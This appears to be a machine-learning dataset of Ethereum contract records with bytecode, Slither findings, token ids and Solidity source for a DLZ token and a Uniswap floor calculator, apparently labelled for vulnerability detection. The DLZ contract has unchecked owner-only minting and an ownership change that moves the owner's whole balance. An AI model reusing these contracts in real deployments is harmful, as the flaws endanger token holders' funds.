600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610ce6610fe3565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610d1e9190611d8e565b60405180910390a35050565b60606000610d3783610b8b565b905060008167ffffffffffffffff811115610d6257634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610d8b578160200160208202803683370190505b50905060005b82811015610891576000818152600f602052604090205460ff16610de657610db9858261076e565b828281518110610dd957634e487b7160e01b600052603260045260246000fd5b6020026020010181815250505b80610df0816124ae565b915050610d91565b610e09610e03610fe3565b83611072565b610e255760405162461bcd60e51b81526004016104bd906122fd565b610e3184848484611290565b50505050565b6060610e4282610fe7565b610e5e5760405162461bcd60e51b81526004016104bd9061226d565b6000610e686112c3565b90506000815111610e885760405180602001604052806000815250610eb3565b80610e92846112d2565b604051602001610ea3929190611cca565b6040516020818303038152906040525b9392505050565b610ec2610fe3565b6001600160a01b0316610ed3610c23565b6001600160a01b031614610ef95760405162461bcd60e51b81526004016104bd906121b8565b600e55565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b610f34610fe3565b6001600160a01b0316610f45610c23565b6001600160a01b031614610f6b5760405162461bcd60e51b81526004016104bd906121b8565b6001600160a01b038116610f915760405162461bcd60e51b81526004016104bd90611e49565b610f9a8161123e565b50565b3b151590565b60006001600160e01b031982166380ac58cd60e01b1480610fd457506001600160e01b03198216635b5e139f60e01b145b806104765750610476826113ed565b3390565b6000908152600260205260409020546001600160a01b0316151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061103982610b56565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061107d82610fe7565b6110995760405162461bcd60e51b81526004016104bd90611f78565b60006110a483610b56565b9050806001600160a01b0316846001600160a01b031614806110df5750836001600160a01b03166110d48461056b565b6001600160a01b0316145b806110ef57506110ef8185610efe565b949350505050565b826001600160a01b031661110a82610b56565b6001600160a01b0316146111305760405162461bcd60e51b81526004016104bd906121ed565b6001600160a01b0382166111565760405162461bcd60e51b81526004016104bd90611efd565b611161838383611406565b61116c600082611004565b6001600160a01b0383166000908152600360205260408120805460019290611195908490612430565b90915550506001600160a01b03821660009081526003602052604081208054600192906111c3908490612404565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b61069e82826040518060200160405280600081525061148f565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61129b8484846110f7565b6112a7848484846114c2565b610e315760405162461bcd60e51b81526004016104bd90611df7565b6060600c80546104e890612473565b6060816112f757506040805180820190915260018152600360fc1b6020820152610479565b8160005b8115611321578061130b816124ae565b915061131a9050600a8361241c565b91506112fb565b60008167ffffffffffffffff81111561134a57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611374576020820181803683370190505b5090505b84156110ef57611389600183612430565b9150611396600a866124c9565b6113a1906030612404565b60f81b8183815181106113c457634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506113e6600a8661241c565b9450611378565b6001600160e01b031981166301ffc9a760e01b14919050565b611411838383610641565b6001600160a01b03831661142d57611428816115dd565b611450565b816001600160a01b0316836001600160a01b031614611450576114508382611621565b6001600160a01b03821661146c57611467816116be565b610641565b826001600160a01b0316826001600160a01b031614610641576106418282611797565b61149983836117db565b6114a660008484846114c2565b6106415760405162461bcd60e51b81526004016104bd90611df7565b60006114d6846001600160a01b0316610f9d565b156115d257836001600160a01b031663150b7a026114f2610fe3565b8786866040518563ffffffff1660e01b81526004016115149493929190611d0d565b602060405180830381600087803b15801561152e57600080fd5b505af192505050801561155e575060408051601f3d908101601f1916820190925261155b91810190611c24565b60015b6115b8573d80801561158c576040519150601f19603f3d011682016040523d82523d6000602084013e611591565b606091505b5080516115b05760405162461bcd60e51b81526004016104bd90611df7565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506110ef565b506001949350505050565b600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6000600161162e84610b8b565b6116389190612430565b60008381526007602052604090205490915080821461168b576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906116d090600190612430565b6000838152600960205260408120546008805493945090928490811061170657634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806008838154811061173557634e487b7160e01b600052603260045260246000fd5b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061177b57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006117a283610b8b565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166118015760405162461bcd60e51b81526004016104bd90612112565b61180a81610fe7565b156118275760405162461bcd60e51b81526004016104bd90611e8f565b61183360008383611406565b6001600160a01b038216600090815260036020526040812080546001929061185c908490612404565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546118c690612473565b90600052602060002090601f0160209004810192826118e8576000855561192e565b82601f1061190157805160ff191683800117855561192e565b8280016001018555821561192e579182015b8281111561192e578251825591602001919060010190611913565b5061193a92915061193e565b5090565b5b8082111561193a576000815560010161193f565b600067ffffffffffffffff83111561196d5761196d612509565b611980601f8401601f19166020016123da565b905082815283838301111561199457600080fd5b828260208301376000602084830101529392505050565b8035801515811461047957600080fd5b6000602082840312156119cc578081fd5b8135610eb38161251f565b6000602082840312156119e8578081fd5b8151610eb38161251f565b60008060408385031215611a05578081fd5b8235611a108161251f565b91506020830135611a208161251f565b809150509250929050565b600080600060608486031215611a3f578081fd5b8335611a4a8161251f565b92506020840135611a5a8161251f565b929592945050506040919091013590565b60008060008060808587031215611a80578081fd5b8435611a8b8161251f565b93506020850135611a9b8161251f565b925060408501359150606085013567ffffffffffffffff811115611abd578182fd5b8501601f81018713611acd578182fd5b611adc87823560208401611953565b91505092959194509250565b60008060408385031215611afa578182fd5b8235611b058161251f565b9150611b13602084016119ab565b90509250929050565b60008060408385031215611b2e578182fd5b8235611b398161251f565b946020939093013593505050565b60006020808385031215611b59578182fd5b823567ffffffffffffffff80821115611b70578384fd5b818501915085601f830112611b83578384fd5b813581811115611b9557611b95612509565b8381029150611ba58483016123da565b8181528481019084860184860187018a1015611bbf578788fd5b8795505b83861015611be1578035835260019590950194918601918601611bc3565b5098975050505050505050565b600060208284031215611bff578081fd5b610eb3826119ab565b600060208284031215611c19578081fd5b8135610eb381612534565b600060208284031215611c35578081fd5b8151610eb381612534565b600060208284031215611c51578081fd5b813567ffffffffffffffff811115611c67578182fd5b8201601f81018413611c77578182fd5b6110ef84823560208401611953565b600060208284031215611c97578081fd5b5035919050565b60008151808452611cb6816020860160208601612447565b601f01601f19169290920160200192915050565b60008351611cdc818460208801612447565b835190830190611cf0818360208801612447565b01949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611d4090830184611c9e565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015611d8257835183529284019291840191600101611d66565b50909695505050505050565b901515815260200190565b600060208252610eb36020830184611c9e565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b6020808252601c908201527f45786365656473206d6178696d756d2047686f756c20737570706c7900000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252600d908201526c4d696e74696e67204f7665722160981b604082015260600190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b60208082526019908201527f536f756c205061737320616c726561647920636c61696d656400000000000000604082015260600190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b6020808252600b908201526a135a5b9d081c185d5cd95960aa1b604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b6020808252601f908201527f45786365656473206d6178696d756d20536f756c5061737320737570706c7900604082015260600190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201526b7574206f6620626f756e647360a01b606082015260800190565b6020808252601c908201527f596f7520646f206e6f74206f776e2074686520736f756c207061737300000000604082015260600190565b90815260200190565b60405181810167ffffffffffffffff811182821017156123fc576123fc612509565b604052919050565b60008219821115612417576124176124dd565b500190565b60008261242b5761242b6124f3565b500490565b600082821015612442576124426124dd565b500390565b60005b8381101561246257818101518382015260200161244a565b83811115610e315750506000910152565b60028104600182168061248757607f821691505b602082108114156124a857634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156124c2576124c26124dd565b5060010190565b6000826124d8576124d86124f3565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610f9a57600080fd5b6001600160e01b031981168114610f9a57600080fdfea2646970667358221220aecca7a0b7c8dbb74bf35011f9d682d379be23feb51c6335afcbb7a774cdd98b64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 22025, 2692, 24087, 2620, 19961, 2497, 2575, 2546, 26187, 2581, 2546, 2620, 6305, 7959, 2692, 2546, 2692, 2050, 21057, 2683, 22275, 2278, 24087, 2546, 21084, 8889, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 6723, 1037, 1043, 6806, 5313, 1010, 3819, 22778, 2007, 2115, 3969, 1013, 1013, 1013, 1013, 1026, 1017, 2439, 9293, 8493, 2136, 1013, 1013, 1030, 1043, 7630, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1005, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1005, 1025, 12324, 1005, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,717
0x9739b2102f5abedd6860deb9c8cab182103513f8
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address sender, address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed sender, address indexed spender, uint256 value); } contract DillianzAgro is IERC20 { string public constant name = "DillianzAgro"; string public constant symbol = "DLZ"; uint8 public constant decimals = 18; event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); event Mine(address indexed to, uint tokens); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint256 totalSupply_; address owner_; using SafeMath for uint256; constructor(uint256 totalSupply) public { totalSupply_ = totalSupply * (10 ** uint256(decimals)); owner_ = msg.sender; balances[owner_] = totalSupply_; } function changeOwner(address newOwner) public returns (bool) { require(msg.sender == owner_, "Apenas o dono do contrato pode realizar a alteração."); require(owner_ != newOwner, "Dono é o mesmo."); address oldOwner = owner_; owner_ = newOwner; return _transfer(oldOwner, newOwner, balances[oldOwner]); } function mine(uint256 amount) public returns (bool) { require(msg.sender == owner_, "Apenas o dono do contrato pode realizar a mineração."); balances[owner_] = balances[owner_] + (amount * (10 ** uint256(decimals))); totalSupply_ = totalSupply_ + (amount * (10 ** uint256(decimals))); return true; } function owner() public view returns (address) { return owner_; } function totalSupply() public override view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public override view returns (uint256) { return balances[tokenOwner]; } function transfer(address receiver, uint256 numTokens) public override returns (bool) { return _transfer(msg.sender, receiver, numTokens); } function transferFrom(address sender, address buyer, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[sender]); require(numTokens <= allowed[sender][msg.sender]); balances[sender] = balances[sender].sub(numTokens); allowed[sender][msg.sender] = allowed[sender][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); emit Transfer(sender, buyer, numTokens); return true; } function approve(address delegate, uint256 numTokens) public override returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function allowance(address sender, address delegate) public override view returns (uint) { return allowed[sender][delegate]; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(amount <= balances[from]); balances[from] = balances[from].sub(amount); balances[to] = balances[to].add(amount); emit Transfer(from, to, amount); return true; } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102a75780638da5cb5b146102ff57806395d89b4114610333578063a6f9dae1146103b6578063a9059cbb14610410578063dd62ed3e14610474576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce567146102425780634d47489814610263575b600080fd5b6100c16104ec565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610525565b60405180821515815260200191505060405180910390f35b6101a8610617565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610621565b60405180821515815260200191505060405180910390f35b61024a61099c565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b81019080803590602001909291905050506109a1565b60405180821515815260200191505060405180910390f35b6102e9600480360360208110156102bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b36565b6040518082815260200191505060405180910390f35b610307610b7e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61033b610ba8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561037b578082015181840152602081019050610360565b50505050905090810190601f1680156103a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be1565b60405180821515815260200191505060405180910390f35b61045c6004803603604081101561042657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e06565b60405180821515815260200191505060405180910390f35b6104d66004803603604081101561048a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1b565b6040518082815260200191505060405180910390f35b6040518060400160405280600c81526020017f44696c6c69616e7a4167726f000000000000000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561066e57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106f757600080fd5b610748826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ea290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061081982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ea290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ea826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eb990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a49576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806110b96036913960400191505060405180910390fd5b601260ff16600a0a8202600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601260ff16600a0a82026002540160028190555060019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600381526020017f444c5a000000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806110ef6036913960400191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d4d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f446f6e6f20c3a9206f206d65736d6f2e0000000000000000000000000000000081525060200191505060405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dfe81846000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed5565b915050919050565b6000610e13338484610ed5565b905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115610eae57fe5b818303905092915050565b600080828401905083811015610ecb57fe5b8091505092915050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610f2257600080fd5b610f73826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ea290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611006826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eb990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050939250505056fe4170656e6173206f20646f6e6f20646f20636f6e747261746f20706f6465207265616c697a61722061206d696e657261c3a7c3a36f2e4170656e6173206f20646f6e6f20646f20636f6e747261746f20706f6465207265616c697a6172206120616c74657261c3a7c3a36f2ea2646970667358221220e3ba101b0d39cc878717570d34ce80e18e92676b0127c9cd511f3a38982f3d0c64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 23499, 2497, 17465, 2692, 2475, 2546, 2629, 16336, 14141, 2575, 20842, 2692, 3207, 2497, 2683, 2278, 2620, 3540, 2497, 15136, 17465, 2692, 19481, 17134, 2546, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 21447, 1006, 4769, 4604, 2121, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,718
0x973a1b803ab7ec044a0cd4514155bd620e01b34f
// SPDX-License-Identifier: J-J-J-JENGA!!! pragma solidity ^0.7.4; /* ROOTKIT: A floor calculator (to use with ERC31337) for EVN uniswap pairs Ensures 100% of accessible funds are backed at all times Calculator with extra features - Checks floor by selling some of the total into different pools based on current liquidity - result will change slightly */ import "./IFloorCalculator.sol"; import "./SafeMath.sol"; import "./UniswapV2Library.sol"; import "./IUniswapV2Factory.sol"; import "./TokensRecoverable.sol"; contract EvnTwoPoolCalculator is IFloorCalculator, TokensRecoverable { using SafeMath for uint256; IERC20 immutable evnToken; IUniswapV2Factory immutable uniswapV2Factory; constructor(IERC20 _evn, IUniswapV2Factory _uniswapV2Factory) { evnToken = _evn; uniswapV2Factory = _uniswapV2Factory; } function calculateExcessInPool(IERC20 token, address pair, uint256 liquidityShare, uint256 evnTotalSupply, uint256 evnPoolsLiquidity) internal view returns (uint256) { uint256 freeEVN = (evnTotalSupply.sub(evnPoolsLiquidity)).mul(liquidityShare).div(1e18); uint256 sellAllProceeds = 0; if (freeEVN > 0) { address[] memory path = new address[](2); path[0] = address(evnToken); path[1] = address(token); uint256[] memory amountsOut = UniswapV2Library.getAmountsOut(address(uniswapV2Factory), freeEVN, path); sellAllProceeds = amountsOut[1]; } uint256 backingInPool = token.balanceOf(pair); if (backingInPool <= sellAllProceeds) { return 0; } uint256 excessInPool = backingInPool - sellAllProceeds; return excessInPool; } function calculateExcessInPools(IERC20 wrappedToken, IERC20 backingToken) public view returns (uint256) { address tethPair = UniswapV2Library.pairFor(address(uniswapV2Factory), address(evnToken), address(backingToken)); address wethPair = UniswapV2Library.pairFor(address(uniswapV2Factory), address(evnToken), address(wrappedToken)); uint256 evnTokenTotalSupply = evnToken.totalSupply(); uint256 evnTokenPoolsLiquidity = evnToken.balanceOf(tethPair).add(evnToken.balanceOf(wethPair)); uint256 ethPoolsLiquidity = backingToken.balanceOf(tethPair).add(wrappedToken.balanceOf(wethPair)); uint256 rootLiquidityShareIntethPair = evnToken.balanceOf(tethPair).mul(1e18).div(evnTokenPoolsLiquidity); uint256 tethLiquidityShareIntethPair = backingToken.balanceOf(tethPair).mul(1e18).div(ethPoolsLiquidity); uint256 avgLiquidityShareIntethPair = (rootLiquidityShareIntethPair.add(tethLiquidityShareIntethPair)).div(2); uint256 one = (1e18); uint256 excessIntethPool = calculateExcessInPool(backingToken, tethPair, avgLiquidityShareIntethPair, evnTokenTotalSupply, evnTokenPoolsLiquidity); uint256 excessInWethPool = calculateExcessInPool(wrappedToken, wethPair, (one).sub(avgLiquidityShareIntethPair), evnTokenTotalSupply, evnTokenPoolsLiquidity); return excessIntethPool.add(excessInWethPool); } // When the floor is calculated from 2 pools it will return 0 if "available to sweep (sub floor)" is // greater than the "wETH in tETH the contract (current backing)" Move liquidity wETH > tETH to solve function calculateSubFloor(IERC20 wrappedToken, IERC20 backingToken) public override view returns (uint256) // backing token = teth { uint256 excessInPools = calculateExcessInPools(wrappedToken, backingToken); uint256 requiredBacking = backingToken.totalSupply().sub(excessInPools); uint256 currentBacking = wrappedToken.balanceOf(address(backingToken)); if (requiredBacking >= currentBacking) { return 0; } return currentBacking - requiredBacking; } }
